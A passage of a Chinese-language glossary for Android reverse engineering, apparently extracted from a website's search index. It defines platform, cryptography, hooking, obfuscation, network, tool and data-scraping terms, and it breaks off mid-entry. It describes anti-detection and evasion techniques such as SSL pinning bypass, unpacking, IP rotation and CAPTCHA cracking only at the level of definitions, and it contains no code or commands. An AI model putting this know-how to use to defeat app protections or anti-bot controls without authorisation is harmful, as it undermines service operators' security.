Baksmali 将 DEX 文件反汇编为 Smali 代码的工具，名字来源于冰岛语\"反汇编\"。 Android 应用包 APK (Android Package) Android 应用的安装包格式，本质是一个 ZIP 压缩包，包含 DEX、资源文件、清单文件和签名信息。 AAB 包 AAB (Android App Bundle) Google 推出的新发布格式，由 Google Play 根据设备配置动态生成优化的 APK。 清单文件 AndroidManifest.xml 每个 APK 必须包含的核心配置文件，声明包名、组件、权限、最低 SDK 版本等关键信息。 孵化进程 Zygote Android 系统中所有应用进程的父进程，通过 fork 机制快速创建新的应用进程，预加载了常用类和资源。 系统服务器 System Server 由 Zygote fork 出的第一个进程，承载了大量核心系统服务（AMS、PMS、WMS 等）。 活动管理服务 AMS (Activity Manager Service) 管理 Activity 生命周期、任务栈和进程调度的核心系统服务。 包管理服务 PMS (Package Manager Service) 负责应用安装、卸载、权限管理和包信息查询的系统服务。 Binder 机制 Binder IPC Android 特有的高效进程间通信 (IPC) 机制，基于内存映射实现，几乎所有系统服务都通过 Binder 通信。 AIDL 接口 AIDL (Android Interface Definition Language) Android 接口定义语言，用于定义跨进程通信的接口，编译后生成 Binder 通信所需的代理类。 JNI 接口 JNI (Java Native Interface) Java 与 Native 代码（C/C++）之间的桥梁，允许 Java 调用本地函数，也允许 Native 代码回调 Java 方法。 NDK 开发包 NDK (Native Development Kit) Android 官方提供的 Native 开发工具集，允许使用 C/C++ 编写高性能模块或复用已有 C 库。 调试桥 ADB (Android Debug Bridge) Android 调试桥，通用命令行工具，用于与模拟器或 Android 设备通信，支持 shell、文件传输、日志等功能。 AOSP 项目 AOSP (Android Open Source Project) Android 开源项目，即 Android 系统的完整源代码，是研究系统底层行为的第一手资料。 ARM 架构 ARM (Advanced RISC Machines) 广泛用于移动设备的精简指令集处理器架构，Android 设备主要使用 ARM 及其 64 位变体 AArch64。 引导加载程序 Bootloader 设备开机后最先运行的程序，负责硬件初始化并加载操作系统内核，解锁 Bootloader 是刷机的前提。 恢复模式 Recovery Android 设备的特殊启动模式，用于恢复出厂设置、刷入 OTA 更新包或自定义 ROM。 获取 Root 权限 Rooting 获取 Android 设备超级用户权限的过程，使用户可以完全控制系统，也是许多逆向工具的前提。 SELinux 策略 SELinux (Security-Enhanced Linux) Android 使用的强制访问控制系统，限制进程对文件和资源的访问权限，增加安全性。 内容提供者 Content Provider Android 四大组件之一，提供跨进程的数据共享接口，常通过 URI 访问数据库或文件。 广播接收器 Broadcast Receiver Android 四大组件之一，用于接收和响应系统或应用发出的广播消息。 服务 Service Android 四大组件之一，在后台执行长时间运行的操作，没有用户界面。 Intent 消息 Intent Android 组件之间通信的消息对象，用于启动 Activity、Service 或发送广播，可携带数据。 应用沙箱 App Sandbox Android 为每个应用分配独立的 UID 和数据目录，通过 Linux 权限机制实现应用间的隔离。 权限模型 Permission Model Android 通过声明和授予权限来控制应用对敏感资源（相机、定位、存储等）的访问。 预编译 AOT (Ahead-Of-Time Compilation) ART 在安装时将字节码预编译为机器码的技术，相比 JIT 提高了运行时性能但增加安装时间。 即时编译 JIT (Just-In-Time Compilation) 在程序运行时将字节码编译为机器码的技术，Android 7.0 后 ART 同时使用 AOT + JIT 的混合方案。 设备树 Device Tree (DT/DTB) 描述硬件配置信息的数据结构，内核通过它识别设备硬件，自定义内核时可能需要修改。 GKI 内核 GKI (Generic Kernel Image) Google 推出的通用内核镜像，将内核分为 Google 维护的通用核心和厂商模块，简化内核更新流程。 Boot 镜像 Boot Image (boot.img) Android 设备的启动镜像，包含内核、ramdisk 等组件，Magisk 和 KernelSU 通过修补 boot.img 实现 Root。 分区 Partition Android 设备存储的分区结构，常见的有 system、vendor、data、boot、recovery 等分区。 叠加文件系统 OverlayFS 允许在只读文件系统上叠加可写层的文件系统，Magisk 的 systemless 修改机制基于类似原理。 属性系统 Property System Android 的全局键值对配置系统，通过 getprop/setprop 访问，常用于检查设备状态和编译信息。 应用签名 App Signing Android 要求每个 APK 必须用开发者的私钥签名，签名信息存储在 META-INF 目录或 APK Signing Block 中。 DEX 字节码 Dalvik Bytecode Dalvik/ART 虚拟机执行的指令集，基于寄存器架构，与 Java 字节码（基于栈架构）不同。 ABI 接口 ABI (Application Binary Interface) 应用二进制接口，定义了二进制代码如何与系统交互，Android 支持 armeabi-v7a、arm64-v8a、x86、x86_64 等 ABI。 进程间通信 IPC (Inter-Process Communication) 不同进程之间交换数据和信号的机制，Android 中主要通过 Binder、Socket、共享内存等方式实现。 可信执行环境 TEE (Trusted Execution Environment) 处理器中与普通执行环境隔离的安全区域，用于保护敏感操作（如指纹验证、密钥存储）。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:2:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#2-android-平台-android-platform"},{"categories":null,"collections":null,"content":"3. 加密与签名 (Cryptography \u0026 Signatures) 密码学算法、签名机制和安全认证相关的术语。 中文名称 英文名称 说明 高级加密标准 AES (Advanced Encryption Standard) 对称加密算法，使用 128/192/256 位密钥，是目前最广泛使用的对称加密标准。 DES 加密 DES (Data Encryption Standard) 早期的对称加密标准，因 56 位密钥过短已被淘汰，3DES 是其增强版本但也逐步退出使用。 RSA 算法 RSA (Rivest-Shamir-Adleman) 经典的非对称加密算法，基于大数分解难题，广泛用于数字签名和密钥交换。 椭圆曲线加密 ECC (Elliptic Curve Cryptography) 基于椭圆曲线数学的非对称加密体系，在相同安全强度下密钥比 RSA 短得多。 ECDSA 签名 ECDSA (Elliptic Curve Digital Signature Algorithm) 基于椭圆曲线的数字签名算法，常用于 HTTPS 证书和区块链签名。 消息认证码 HMAC (Hash-based Message Authentication Code) 基于哈希函数和密钥的消息认证码，用于验证数据完整性和来源真实性。 MD5 哈希 MD5 (Message Digest 5) 128 位哈希算法，因存在碰撞漏洞已不适合用于安全场景，但仍常见于文件校验和旧系统中。 SHA 哈希 SHA (Secure Hash Algorithm) 安全哈希算法家族，包括 SHA-1（已不安全）、SHA-256、SHA-512 等，用于完整性校验和数字签名。 CRC 校验 CRC (Cyclic Redundancy Check) 循环冗余校验，用于检测数据传输错误，不适合用于安全用途但在文件格式中非常常见。 对称加密 Symmetric Encryption 加密和解密使用同一密钥的加密方式，速度快，适合加密大量数据，如 AES、DES。 非对称加密 Asymmetric Encryption 使用公钥加密、私钥解密（或反之）的加密方式，用于密钥交换和数字签名，如 RSA、ECC。 数字签名 Digital Signature 使用私钥对数据摘要进行加密生成签名，任何人可用公钥验证，确保数据完整性和来源不可否认。 APK 签名 APK Signing Android 应用必须经过签名才能安装，签名用于验证应用来源和完整性，包含 v1/v2/v3/v4 多种方案。 签名校验 Signature Verification 应用运行时检查自身签名是否被篡改的保护机制，常用于防止重打包和破解。 密钥库 KeyStore Android 提供的安全密钥存储系统，支持硬件级密钥保护（TEE/StrongBox），密钥不可导出。 基于时间的一次性密码 TOTP (Time-based One-Time Password) 基于当前时间和共享密钥生成一次性密码的算法，常用于双因素认证（如 Google Authenticator）。 基于计数器的一次性密码 HOTP (HMAC-based One-Time Password) 基于计数器和共享密钥生成一次性密码的算法，是 TOTP 的基础。 Base64 编码 Base64 将二进制数据转换为 ASCII 字符串的编码方式，常见于网络传输和配置文件中，注意它不是加密。 XOR 运算 XOR (Exclusive OR) 异或运算，最简单的加密原语，常在简单的加密、校验和混淆中使用。 白盒加密 White-Box Cryptography 将密钥嵌入到算法实现中的加密技术，即使攻击者可以观察算法执行过程也无法提取密钥。 密钥派生函数 KDF (Key Derivation Function) 从密码或主密钥派生出加密密钥的函数，如 PBKDF2、scrypt、Argon2，增加暴力破解难度。 分组密码模式 Block Cipher Mode 分组密码的工作模式，如 ECB、CBC、CTR、GCM 等，不同模式的安全性和性能特征不同。 初始化向量 IV (Initialization Vector) 加密时使用的随机值，确保相同明文在不同加密操作中产生不同密文，CBC 和 GCM 模式都需要 IV。 填充方式 Padding 将明文填充至分组密码要求的块长度的方法，常见的有 PKCS5/PKCS7 Padding 和 Zero Padding。 RC4 流密码 RC4 早期广泛使用的流加密算法，已被发现多个安全弱点，不推荐使用但在旧系统中仍可能遇到。 国密算法 SM Series (SM2/SM3/SM4) 中国国家密码管理局发布的商用密码算法，SM2 是非对称加密，SM3 是哈希算法，SM4 是对称加密。 证书签名方案 APK Signature Scheme Android APK 签名机制的演进：v1（基于 JAR）、v2（全文件签名）、v3（支持密钥轮换）、v4（增量安装）。 密钥协商 Key Exchange 通信双方在不安全信道上协商出共享密钥的过程，如 Diffie-Hellman (DH) 和 ECDHE 算法。 随机数生成器 RNG (Random Number Generator) 生成随机数的组件，密码学安全的 RNG (CSPRNG) 是加密系统的基础，弱随机数会导致严重安全问题。 消息摘要 Message Digest 对任意长度数据计算出的固定长度哈希值，用于验证数据完整性，不可逆推出原始数据。 数字信封 Digital Envelope 结合对称加密和非对称加密的混合加密方案：用随机对称密钥加密数据，再用接收方公钥加密对称密钥。 盐值 Salt 在哈希计算前添加的随机数据，确保相同的明文产生不同的哈希值，防止彩虹表攻击。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:3:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#3-加密与签名-cryptography--signatures"},{"categories":null,"collections":null,"content":"4. Hook 与插桩 (Hooking \u0026 Instrumentation) 函数拦截、代码注入和动态修改程序行为相关的术语。 中文名称 英文名称 说明 挂钩/钩子 Hook 拦截函数调用、消息或事件的技术，用于监视或修改程序行为，是动态分析的核心手段。 内联钩子 Inline Hook 直接修改目标函数开头的指令，插入跳转指令到自定义代码，是 Native 层最常用的 Hook 方式。 PLT 钩子 PLT Hook 通过修改 GOT/PLT 表中的函数地址来拦截对外部库函数的调用，对同一 SO 内的调用无效。 跳板 Trampoline Hook 技术中用于保存原始指令并跳转回原函数继续执行的代码片段，确保原始功能不被破坏。 动态插桩 Dynamic Binary Instrumentation (DBI) 在程序运行时动态插入分析代码的技术，无需修改原始二进制文件，如 Frida、DynamoRIO。 静态插桩 Static Binary Instrumentation (SBI) 在程序执行前修改二进制文件以插入分析代码的技术，修改后的文件可独立运行。 Java 层 Hook Java-level Hook 通过替换 ART 虚拟机中的方法入口来拦截 Java/Kotlin 方法调用，如 Xposed、Frida 的 Java.use。 Native 层 Hook Native-level Hook 对 C/C++ 编译的 Native 代码（.so 文件）进行拦截，通常使用 Inline Hook 或 PLT Hook。 方法替换 Method Swizzling 在运行时将一个方法的实现替换为另一个方法，在 iOS/Objective-C 中尤为常见，Android 中也有类似机制。 代码注入 Code Injection 将自定义代码注入到目标进程中执行的技术，通常通过 ptrace、dlopen 或 LD_PRELOAD 实现。 ptrace 系统调用 ptrace Linux 提供的进程跟踪系统调用，调试器通过它控制目标进程的执行、读写内存和寄存器。 进程注入 Process Injection 将代码或共享库加载到另一个正在运行的进程的地址空间中，是实现 Hook 的前提步骤。 LD_PRELOAD LD_PRELOAD Linux 环境变量，指定在所有其他共享库之前加载的库，可用于拦截标准库函数调用。 代理/拦截器 Interceptor Frida 中用于拦截 Native 函数调用的 API，可在函数执行前后插入自定义逻辑。 替换 Replacer 完全替换目标函数实现的 Hook 方式，原始函数将不再被调用。 Stalker 追踪器 Stalker Frida 提供的代码追踪引擎，可以追踪目标进程每一条执行的指令，用于代码覆盖率分析。 ART 方法入口 ART Entry Point ART 虚拟机中每个 Java 方法的执行入口指针，Hook 框架通过修改它来实现方法拦截。 系统调用钩子 Syscall Hook 拦截应用对 Linux 内核系统调用的技术，可在内核层面监控文件访问、网络通信等行为。 虚函数表钩子 VTable Hook 通过修改 C++ 对象的虚函数表指针来拦截虚函数调用的技术。 异常处理钩子 Exception Hook 通过设置硬件断点或修改异常处理机制来实现的 Hook 技术，比修改代码更隐蔽。 回调函数 Callback Hook 触发时执行的自定义函数，分为 onEnter（函数执行前）和 onLeave（函数返回后）两种时机。 函数指针替换 Function Pointer Replacement 通过修改存储函数指针的内存位置来重定向函数调用的技术，适用于通过指针调用的场景。 代码覆盖率 Code Coverage 记录程序执行时哪些代码被实际运行的技术，Frida 的 Stalker 可用于收集覆盖率信息以辅助模糊测试。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:4:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#4-hook-与插桩-hooking--instrumentation"},{"categories":null,"collections":null,"content":"5. 保护与混淆 (Protection \u0026 Obfuscation) 软件保护、代码混淆、反调试和加固相关的术语。 中文名称 英文名称 说明 代码混淆 Obfuscation 使代码难以理解但保持功能不变的技术，包括重命名、控制流扁平化、字符串加密等手段。 加壳/加固 Packing / Hardening 对 APK 进行保护处理，将原始 DEX 加密隐藏，运行时才解密加载，增加逆向分析难度。 脱壳 Unpacking 从加固的 APK 中还原出原始 DEX 文件的过程，常用方法包括内存 dump、Hook ClassLoader 等。 OLLVM 混淆 OLLVM (Obfuscator-LLVM) 基于 LLVM 编译器框架的开源代码混淆项目，支持控制流扁平化、虚假控制流、指令替换等。 控制流扁平化 Control Flow Flattening (CFF) OLLVM 的核心混淆技术，将正常的控制流结构转化为 switch-case 分发器结构，严重增加分析难度。 虚假控制流 Bogus Control Flow (BCF) 在代码中插入永远不会执行的假分支，干扰分析者对真实逻辑的判断。 指令替换 Instruction Substitution 用功能等价但更复杂的指令序列替换简单指令，增加反汇编代码的阅读难度。 字符串加密 String Encryption 将程序中的明文字符串加密存储，运行时才解密使用，防止通过字符串搜索定位关键代码。 虚拟机保护 VMP (Virtual Machine Protection) 将原始代码转换为自定义字节码，并内置专用解释器来执行，是最强的代码保护技术之一。 花指令 Junk Code / Dead Code 插入不影响程序功能的无用指令或永远不执行的代码，用于干扰反汇编器和分析者。 反调试 Anti-Debug 检测程序是否正在被调试的保护技术，常通过检查 ptrace 状态、/proc/self/status、时间差等实现。 反 Root 检测 Anti-Root Detection 检测设备是否已获取 Root 权限的技术，常检查 su 二进制文件、Magisk 痕迹、系统属性等。 反 Hook 检测 Anti-Hook Detection 检测程序是否被 Hook 框架拦截的技术，常检查 Frida 端口、Xposed 特征、内存中的 Hook 痕迹。 反模拟器检测 Anti-Emulator Detection 检测应用是否运行在模拟器中的技术，常检查硬件属性、传感器数据、设备指纹等特征。 完整性校验 Integrity Check 应用运行时验证自身代码或资源是否被篡改的机制，常对 DEX、SO 文件计算哈希值并比对。 代码抽取 Code Extraction / Function-level Packing 将 DEX 中的方法体抽取并加密存储，运行时才恢复到内存中执行，比整体加壳更难脱壳。 ProGuard 混淆 ProGuard Android 官方推荐的 Java 字节码混淆和优化工具，可进行类名/方法名重命名、无用代码删除等。 R8 编译器 R8 Google 推出的替代 ProGuard 的新一代代码缩减和混淆工具，已成为 Android 构建的默认工具。 名称混淆 Name Obfuscation / Renaming 将类名、方法名、变量名替换为无意义的短名称（如 a、b、c），最基础的混淆手段。 环境检测 Environment Detection 应用在运行时检查执行环境是否正常（非 Root、非模拟器、非调试模式等），是保护链的第一环。 反篡改 Anti-Tampering 应用在运行时验证自身代码、资源和签名的完整性，发现篡改后终止运行或上报服务器。 代码虚拟化 Code Virtualization VMP 的核心技术，将原始指令转换为自定义虚拟机的字节码，每次编译可生成不同的指令集。 混合保护 Multi-layered Protection 同时使用多种保护技术（加壳 + 混淆 + 反调试 + VMP）构建多层防御体系，增加破解成本。 运行时解密 Runtime Decryption 将关键代码或数据加密存储，仅在需要时解密到内存中执行或使用，执行后再清除明文。 调试器检测 Debugger Detection 检测是否有调试器附加到进程的技术，常通过 TracerPid、断点扫描、时间检测等方式实现。 时间检测 Timing Check 通过测量代码执行的时间差来检测调试行为，因为单步调试会显著增加执行时间。 Frida 检测 Frida Detection 检测 Frida 是否注入到进程中的技术，常检查默认端口 (27042)、内存特征字符串、线程名称等。 SafetyNet / Play Integrity SafetyNet / Play Integrity API Google 提供的设备完整性检测 API，可验证设备是否已 Root、Bootloader 是否已解锁等。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:5:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#5-保护与混淆-protection--obfuscation"},{"categories":null,"collections":null,"content":"6. 网络与协议 (Network \u0026 Protocols) 网络通信、安全协议和流量分析相关的术语。 中文名称 英文名称 说明 传输层安全协议 TLS (Transport Layer Security) 为网络通信提供加密、身份认证和数据完整性的安全协议，HTTPS 的基础，是 SSL 的后继版本。 安全套接字层 SSL (Secure Sockets Layer) TLS 的前身，已被废弃但\"SSL\"一词仍被广泛用于指代 TLS 加密连接。 证书锁定 SSL/Certificate Pinning 应用内预置服务器证书或公钥的指纹，仅信任特定证书而非系统证书链，防止中间人攻击。 中间人攻击 MITM (Man-In-The-Middle) 攻击者在通信双方之间拦截和修改数据的攻击方式，是抓包分析 HTTPS 流量的核心原理。 代理服务器 Proxy 位于客户端和服务器之间的中介，用于转发、监视或修改网络请求，逆向中常用于抓包分析。 数字证书 Certificate (X.509) 由证书颁发机构 (CA) 签发的电子文件，用于证明服务器或客户端的身份，包含公钥和持有者信息。 证书颁发机构 CA (Certificate Authority) 签发和管理数字证书的受信任机构，浏览器和操作系统预装了一组受信任 CA 的根证书。 自签名证书 Self-Signed Certificate 未经受信任 CA 签发的证书，由使用者自己签发，用于测试和抓包场景。 系统证书存储 System Certificate Store Android 系统存储受信任根证书的位置（/system/etc/security/cacerts/），Android 7+ 默认不信任用户安装的证书。 抓包 Packet Capture / Traffic Sniffing 截获和记录网络数据包的过程，用于分析应用的网络通信协议和数据格式。 HTTP 协议 HTTP (HyperText Transfer Protocol) 超文本传输协议，Web 通信的基础协议，明文传输，易于分析但不安全。 HTTPS 协议 HTTPS (HTTP Secure) 在 HTTP 基础上使用 TLS 加密的安全协议，是现代应用网络通信的标准。 WebSocket 协议 WebSocket 在单个 TCP 连接上提供全双工通信的协议，常用于实时消息推送和聊天功能。 gRPC 协议 gRPC (Google Remote Procedure Call) Google 开发的高性能 RPC 框架，使用 Protocol Buffers 作为序列化格式和 HTTP/2 作为传输协议。 Protocol Buffers Protobuf (Protocol Buffers) Google 开发的高效二进制序列化格式，比 JSON 更紧凑和快速，需要 .proto 定义文件才能正确解析。 JSON 格式 JSON (JavaScript Object Notation) 轻量级的文本数据交换格式，广泛用于 Web API 和移动应用的数据传输。 请求签名 Request Signing 对 API 请求参数和时间戳等计算签名的机制，服务器通过验证签名来防止请求被篡改或重放。 请求重放 Replay Attack 将截获的有效请求重新发送以欺骗服务器的攻击方式，通过时间戳和 nonce 可以防御。 OkHttp 客户端 OkHttp Android 平台最流行的 HTTP 客户端库，拦截其 Interceptor 链是分析网络请求的常用方法。 Retrofit 框架 Retrofit 基于 OkHttp 的类型安全 HTTP 客户端库，通过注解定义 API 接口，逆向时分析其接口定义可快速了解所有 API。 DNS 解析 DNS (Domain Name System) 将域名转换为 IP 地址的系统，应用可能使用自定义 DNS 或 DoH (DNS over HTTPS) 来防止 DNS 劫持。 SNI 字段 SNI (Server Name Indication) TLS 握手时客户端发送的目标域名字段，明文传输，可被用于识别和过滤 HTTPS 流量。 HTTP/2 协议 HTTP/2 HTTP 协议的第二个主要版本，支持多路复用、头部压缩和服务器推送，抓包分析比 HTTP/1.1 更复杂。 QUIC 协议 QUIC (Quick UDP Internet Connections) 基于 UDP 的传输层协议，HTTP/3 的基础，因加密传输和 UDP 通道使传统抓包工具较难拦截。 双向认证 Mutual TLS (mTLS) 客户端和服务器都需要提供证书的双向认证方式，比单向 SSL Pinning 更难绕过。 网络安全配置 Network Security Config Android 7.0 引入的 XML 配置文件，允许应用声明网络安全策略（如信任的 CA、域名 Pinning）。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:6:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#6-网络与协议-network--protocols"},{"categories":null,"collections":null,"content":"7. 工具名称 (Tool Names) 逆向工程中常用的软件工具和框架。 中文名称 英文名称 说明 Frida 框架 Frida 跨平台的动态插桩工具包，通过 JavaScript API 在运行时监视和修改应用行为，支持 Android/iOS/Windows/macOS。 Objection 工具 Objection 基于 Frida 的运行时移动安全探索工具，提供了许多开箱即用的功能，无需编写脚本即可进行常见分析。 r2frida 插件 r2frida 将 radare2 和 Frida 结合的插件，可在 radare2 命令行中使用 Frida 的动态分析能力。 Xposed 框架 Xposed Framework 经典的 Android Hook 框架，通过替换 app_process 来拦截应用和系统的 Java 方法调用。 LSPosed 框架 LSPosed 基于 Riru/Zygisk 的现代 Xposed 框架实现，支持 Android 8.0 以上版本，可针对特定应用生效。 IDA Pro 反汇编器 IDA Pro (Interactive DisAssembler) 业界标准的交互式反汇编器和调试器，支持多种处理器架构，Hex-Rays 反编译器是其核心插件。 Ghidra 分析框架 Ghidra 美国 NSA 开源的软件逆向工程框架，提供反汇编、反编译、脚本自动化等功能，是 IDA 的免费替代品。 radare2 框架 radare2 (r2) 开源的命令行逆向工程框架，支持反汇编、调试、二进制修补等功能，以强大的命令行接口著称。 JADX 反编译器 JADX 将 Android DEX/APK 文件反编译为 Java 源代码的工具，提供 GUI 和命令行两种模式。 JEB 反编译器 JEB Decompiler 商业级 Android 反编译器和调试器，支持 DEX 和 Native 代码分析，反编译质量优秀。 apktool 工具 apktool 用于反编译和重打包 APK 的工具，可以解码资源文件和反汇编 Smali 代码。 dex2jar 工具 dex2jar 将 DEX 文件转换为 Java JAR 文件的工具集，常与 JD-GUI 配合使用进行反编译分析。 Magisk 框架 Magisk 开源的 Android Root 解决方案，以 Systemless 方式挂载修改，不修改系统分区，支持 MagiskHide 隐藏 Root。 KernelSU 框架 KernelSU 基于内核的 Android Root 方案，在内核层面实现 su 权限管理，比 Magisk 更难被检测。 Riru 模块 Riru 通过注入 Zygote 进程来实现模块化功能扩展的框架，是 LSPosed 等模块的基础（已逐步被 Zygisk 取代）。 Zygisk 注入 Zygisk Magisk 内置的 Zygote 注入机制，替代 Riru 成为新的模块加载方式，与 Magisk 深度集成。 unidbg 模拟器 unidbg 基于 Unicorn 引擎的 Android Native 函数模拟执行框架，可在 PC 上脱离 Android 环境运行 SO 中的函数。 Unicorn 引擎 Unicorn Engine 轻量级的多架构 CPU 模拟器引擎，支持 ARM/x86/MIPS 等，常用于模拟执行二进制代码片段。 Charles 抓包 Charles Proxy 跨平台的 HTTP/HTTPS 抓包工具，提供图形界面，可拦截、查看和修改网络请求。 mitmproxy 抓包 mitmproxy 开源的交互式 HTTPS 代理工具，支持命令行和 Web 界面，可通过 Python 脚本扩展功能。 Burp Suite 工具 Burp Suite 业界标准的 Web 安全测试平台，功能强大的拦截代理，常用于 API 分析和安全测试。 Wireshark 抓包 Wireshark 网络协议分析器，可捕获和分析网络层数据包，支持数百种协议的深度解析。 Android Studio Android Studio Google 官方的 Android 开发 IDE，内置了调试器、Profiler、APK 分析器等逆向分析中也有用的工具。 LLDB 调试器 LLDB LLVM 项目的调试器，Android NDK 默认使用的 Native 代码调试工具。 GDB 调试器 GDB (GNU Debugger) 经典的 GNU 调试器，支持远程调试 Android Native 代码，常配合 gdbserver 使用。 Frida-tools 工具集 frida-tools Frida 官方提供的命令行工具集，包括 frida-ps、frida-trace、frida-discover 等常用工具。 Fridump 工具 Fridump 基于 Frida 的内存转储工具，可导出目标进程的内存内容用于搜索敏感数据。 Cydia Substrate Cydia Substrate 早期的移动平台 Hook 框架，最初用于 iOS 越狱插件开发，也曾支持 Android。 010 Editor 010 Editor 专业的十六进制/二进制编辑器，支持 Binary Template 语法以结构化方式解析二进制文件格式。 Capstone 引擎 Capstone 轻量级的多架构反汇编引擎库，支持 ARM/x86/MIPS 等，常被集成到其他逆向工具中。 Keystone 引擎 Keystone 轻量级的多架构汇编引擎库，Capstone 的互补工具，可将汇编代码编译为机器码。 Drozer 工具 Drozer Android 安全评估框架，用于发现应用的攻击面，测试 Activity、Content Provider 等组件的安全性。 QEMU 模拟器 QEMU 开源的通用处理器模拟器，Android 模拟器（AVD）基于 QEMU，也可用于运行其他架构的二进制文件。 CyberChef 工具 CyberChef GCHQ 开源的数据转换和分析工具，提供 Web 界面，可方便地进行编码、解码、加解密等操作。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:7:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#7-工具名称-tool-names"},{"categories":null,"collections":null,"content":"8. 数据采集 (Data Collection \u0026 Scraping) 数据采集、爬虫技术和反爬对抗相关的术语。 中文名称 英文名称 说明 网络爬虫 Web Crawler / Spider 自动浏览和抓取网页内容的程序，按照链接结构系统性地遍历网站。 数据抓取 Scraping / Data Scraping 从网页或应用中自动提取结构化数据的技术，通常需要解析 HTML 或 API 响应。 API 采集 API Scraping 直接调用应用或网站的后端 API 接口来获取数据，效率高于页面抓取，常需要逆向签名算法。 代理池 Proxy Pool 维护大量代理 IP 地址的资源池，用于分散请求来源以避免 IP 被封锁。 IP 轮换 IP Rotation 在多个代理 IP 之间自动切换，使每个请求来自不同的 IP 地址，降低被检测的风险。 频率限制 Rate Limiting 服务器限制单个客户端在一定时间内的请求次数，是最基本的反爬措施之一。 验证码 CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) 用于区分人类用户和自动程序的挑战-响应测试，包括图片验证码、滑块验证码、行为验证等。 指纹检测 Fingerprinting 通过收集设备/浏览器的各种特征信息（UA、分辨率、Canvas、WebGL 等）来唯一标识用户的技术。 设备指纹 Device Fingerprint 基于设备硬件和软件特征（IMEI、Android ID、传感器等）生成的唯一标识符，用于追踪和风控。 浏览器指纹 Browser Fingerprint 通过 Canvas、WebGL、字体列表、插件等浏览器特征生成的唯一标识，无需 Cookie 即可追踪用户。 User-Agent 标识 User-Agent (UA) HTTP 请求头中标识客户端软件信息的字段，反爬系统常通过 UA 检测异常请求。 Cookie 管理 Cookie 服务器存储在客户端的小型数据文件，用于维持会话状态和用户标识，爬虫需要正确管理 Cookie。 反爬虫机制 Anti-Scraping / Anti-Bot 网站或应用用于检测和阻止自动化数据采集的各种防御措施的统称。 风险控制 Risk Control (风控) 服务器端通过分析用户行为模式、设备信息、请求频率等来识别异常行为并采取限制措施。 请求头伪装 Header Spoofing 修改 HTTP 请求头（如 User-Agent、Referer 等）使请求看起来来自正常浏览器或应用。 Selenium 自动化 Selenium 浏览器自动化测试框架，可模拟真实用户操作网页，常用于需要 JavaScript 渲染的页面数据采集。 Appium 自动化 Appium 移动应用自动化测试框架，支持 Android/iOS 应用的自动化操作，可用于 App 数据采集。 adb 自动化 ADB Automation 通过 ADB 命令模拟触摸、滑动、输入等操作来自动化控制 Android 设备，是简易的 App 数据采集方式。 协议还原 Protocol Reverse Engineering 通过抓包分析还原应用的通信协议细节（加密方式、签名算法、参数含义），是 API 采集的关键步骤。 接口签名还原 Signature Algorithm Reverse 逆向分析应用的请求签名生成算法，使爬虫能够构造出服务器可接受的合法签名。 无头浏览器 Headless Browser 没有图形界面的浏览器实例（如 Headless Chrome、Puppeteer），可在后台自动化执行网页操作。 会话管理 Session Management 在多次请求之间维护登录状态和上下文信息，爬虫需要正确处理 Token 刷新和会话过期。 数据清洗 Data Cleaning 对采集到的原始数据进行去重、格式化、纠错等处理，使其达到可用的质量标准。 OCR 识别 OCR (Optical Character Recognition) 光学字符识别技术，用于将图片中的文字转换为可编辑文本，常用于识别图片验证码。 滑块验证 Slider CAPTCHA 需要用户拖动滑块到正确位置的验证码类型，自动化破解需要图像识别和轨迹模拟。 行为验证 Behavioral Verification 通过分析用户的鼠标轨迹、键盘输入模式、触摸手势等行为特征来判断是否为真人操作。 ","date":"2025-08-25","objectID":"/reverse_engineering/android/05-appendix/glossary/:8:0","tags":["Native层","Ghidra","Frida","DEX","资源","OLLVM"],"title":"术语表 (Glossary)","uri":"/reverse_engineering/android/05-appendix/glossary/#8-数据采集-data-collection--scraping"},{"categories":null,"collections":null,"content":"9. 其他常用术语 (Other Common Terms) 不属于以上分类但在逆向工程中经常遇到的术语。 中文名称 英文名称 说明 重打包 Repackaging 反编译 APK 后修改代码或资源，再重新签名打包为可安装的 APK 的过程。 二次打包检测 Repackaging Detection 应用检测自身是否被重新打包和签名的保护机制，通常通过校验签名证书实现。 内存转储 Memory Dump 将进程运行时的内存内容保存到文件中，用于分析加密数据、脱壳或提取运行时信息。 类加载器 ClassLoader Java/Android 中负责加载类的组件，加固方案常自定义 ClassLoader 来实现 DEX 的动态解密加载。 反射 Reflection Java 的一种机制，允许在运行时检查和操作类、方法和字段，常用于绕过访问限制或调用隐藏 API。 序列化 Serialization 将对象转换为字节流的过程，用于存储或网络传输，反序列化是其逆过程。 Native 方法注册 RegisterNatives JNI 中动态注册 Native 方法与 Java 方法映射关系的函数，静态注册则通过固定的命名规则实现。 系统属性 System Properties Android 系统的键值对配置（如 ro.build.fingerprint），通过 getprop 命令读取，常被检测机制引用。 Logcat 日志 Logcat Android 系统的日志系统，记录应用和系统的运行日志，adb logcat 是调试和分析时的重要信息来源。 FART 脱壳 FART (ART Runtime Unpacker) 基于 ART 主动调用原理的 Android 脱壳工具，通过修改系统源码实现对加固应用的自动化脱壳。 DexDump 脱壳 DexDump 从运行中的进程内存中提取 DEX 文件的工具，常基于 Frida 实现，用于脱壳加固应用。 IL2CPP 逆向 IL2CPP (Intermediate Language To C++) Unity 游戏引擎的脚本后端，将 C# 代码编译为 C++，全局元数据文件 (global-metadata.dat) 是逆向分析的关键。 so 加载 SO Loading (dlopen/dlsym) Android 中通过 